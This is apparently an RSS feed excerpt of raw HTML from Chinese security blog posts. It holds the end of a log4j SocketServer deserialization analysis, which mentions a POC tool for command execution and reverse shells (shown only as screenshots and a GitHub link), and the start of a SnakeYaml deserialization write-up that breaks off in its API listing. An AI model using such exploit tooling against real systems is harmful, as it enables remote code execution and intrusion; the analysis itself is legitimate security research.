src="https://wechat2rss.xlab.app/img-proxy/?k=1727a8c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar26T7Vhcr3UVWicUgkzgxbs1km42KTKTwO3XmSLFLQfBvMCHJKtX1LRpw%2F640%3Fwx_fmt%3Dpng"/></p><h3 cid="n25" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">漏洞分析</span></h3><p cid="n26" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">漏洞比较简单，还是现在漏洞位置先下断点。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.26875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cc9b61ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar2K0dJgHWjYTUPLbx3nl8uWibOcWSJ0qkObsPevZkLl79edUAGIW84Emg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n28" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">跟进查看</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.37265625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=61063383&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar2w5FpLicARkqPm3YqQT5k7nTfjFTXOF7pcQMBiboK6fEoLfywHNccRnSg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n30" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在这里开启</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">serverSocket</code></span><span md-inline="plain" style="box-sizing: border-box;">进行监听，也就是socket的服务端，然后new了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SocketNode</code></span><span md-inline="plain" style="box-sizing: border-box;">进行传入。</span><br/></p><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">继续跟进</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.42734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c7080a2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar2VcbevJCsfW95sVp0YlbV9uBo0wvlaY4MqJP1v8A6LrqMlakFTV4sOw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n33" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">而在这里接受了socket的数据。</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.37421875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dc0bca4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar2KwjSIYIC8M2hw1ibLm15dMEWLW8ha45jk9u3NcoSSOpqTc6BENYHLAg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n35" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">下一步会来到run的这个方法里面，是因为前面调用了线程的start，而start的底层会调用run</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4671875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a673d8d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar2AzDIld9tGsp1OdSAZlBL1r48cI8rGiash84GHHLjtw7FlQ9K8RvYfug%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n37" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">直接就对</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">ois</code></span><span md-inline="plain" style="box-sizing: border-box;">也就是刚刚接受的socket数据，调用readobject进行反序列化。</span><br/></p><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="image" data-src="C:\Users\Administrator\Desktop\wiki\blogs\img\log4j反序列化分析\6.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;display: inline-block;width: 716.4px;"></span></p><h2 cid="n39" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x03 工具编写</span></h2><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在复现的时候，使用nc发送数据时数据传输不完整，导致反序列化失败。就随手写了一个小工具，方便下次遇到的时候使用（可能也极少能遇到，比较鸡肋）</span></p><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">命令执行：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8402afc5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar2EZicwdDMfp0kDZbRN61ZcFZglNTVc3a6qyCFz3FQHHw4Vrvcaj9ZkFw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n43" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">反弹shell：</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.30078125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ccb9e36e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar2NAicPZSK2OLUO5rbhUytRv4cKibt2OQCdyMojOKUxxKib3EPiaDiaddPLicA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n46" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">POC:</span></p><p cid="n47" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="image" data-src="C:\Users\Administrator\Desktop\wiki\blogs\img\log4j反序列化分析\9.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;display: inline-block;width: 716.4px;"></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7572992700729927" data-s="300,640" style="" data-type="png" data-w="1096" src="https://wechat2rss.xlab.app/img-proxy/?k=e36cb789&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar2XruPr4icPfZUUmg6XibqygiaCmeU76CSUMFqpvwrRWoKPLJDW0NK9rbBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5110091743119266" data-s="300,640" style="" data-type="png" data-w="1090" src="https://wechat2rss.xlab.app/img-proxy/?k=52f3f979&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar2VMoCeryxGMibs5IoasWx2m7YpbZlAohKComW8RXgLtJbq0iaY8bqMnCA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">由于比较少见，反序列化回显暂不构造。</span><br/></p><p cid="n50" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">github地址：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/nice0e3/log4j_POC" target="_blank">https://github.com/nice0e3/log4j_POC</a></span></p><p cid="n54" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">动动小手点点start</strong></span></p><h2 cid="n51" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x04 结尾</span></h2><p cid="n52" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">log4j的反序列化漏洞比较简单，而类似于这种反序列化工具原理其实差不多，只是发包构造的数据包不一样，分析一下漏洞知道漏洞怎么形成的。原理其实比较简单，但也会遇到很多细节问题，如回显方式，或gui的优化问题。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1" data-s="300,640" style="" data-type="jpeg" data-w="198" src="https://wechat2rss.xlab.app/img-proxy/?k=f8b1ac69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar24PwV5icSTN4TCC9SEctCUlTaC4kHbGdNOBJLiax2LK76ghdsHy0nNneQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p>



<p><a href="2247484781">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=79679c6c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484781%26idx%3D1%26sn%3D64433268892b2fc0c6a240ed7b6a91ef%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 14 Mar 2021 06:00:00 +0800</pubDate>
    </item>
    <item>
      <title>SnakeYaml反序列化分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484766&amp;idx=1&amp;sn=7efb53b468526dbe685547be202a70e4</link>
      <description>0x00 前言偶然间看到SnakeYaml的资料感觉挺有意思，发现SnakeYaml也存在反序列化利用的问题</description>
      <content:encoded><![CDATA[<p>
原创 <span>奶思</span> <span>2021-03-10 12:43</span> <span style="display: inline-block;"></span>
</p>

<p>0x00 前言偶然间看到SnakeYaml的资料感觉挺有意思，发现SnakeYaml也存在反序列化利用的问题</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=28decb08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppV2sa867TjR5HFCiaB84Whnt6v7WgicgKbKgTSmx4xrFRCrM6V9xP8QOw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n3" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x00 前言</span></h2><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">偶然间看到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SnakeYaml</code></span><span md-inline="plain" style="box-sizing: border-box;">的资料感觉挺有意思，发现</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SnakeYaml</code></span><span md-inline="plain" style="box-sizing: border-box;">也存在反序列化利用的问题。借此来分析一波。</span></p><p cid="n5" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h2 cid="n6" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x01 SnakeYaml 使用</span></h2><h3 cid="n7" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">SnakeYaml 简介</span></h3><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SnakeYaml</code></span><span md-inline="plain" style="box-sizing: border-box;">是用来解析yaml的格式，可用于Java对象的序列化、反序列化。</span></p><p cid="n9" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h3 cid="n10" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">SnakeYaml 使用</span></h3><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n12" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">导入依赖jar包</span></p><pre spellcheck="false" lang="xml" cid="n13" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">dependency</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">groupId</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span>org.yaml<span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">groupId</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">artifactId</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span>snakeyaml<span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">artifactId</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">version</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span>1.27<span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">version</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">dependency</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span></pre><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h3 cid="n15" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">常用方法</span></h3><pre spellcheck="false" lang="java" cid="n16" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">dump</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">将Java对象序列化为YAML字符串。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">void</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">dump</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Writer</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">output</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">将Java对象序列化为YAML流。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">dumpAll</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Iterator</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;?</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">extends</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">将一系列Java对象序列化为YAML字符串。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">void</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">dumpAll</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Iterator</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;?</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">extends</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Writer</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">output</span>)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);">将一系列Java对象序列化为YAML流。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span style="box-sizing: border-box;color: rgb(0, 0, 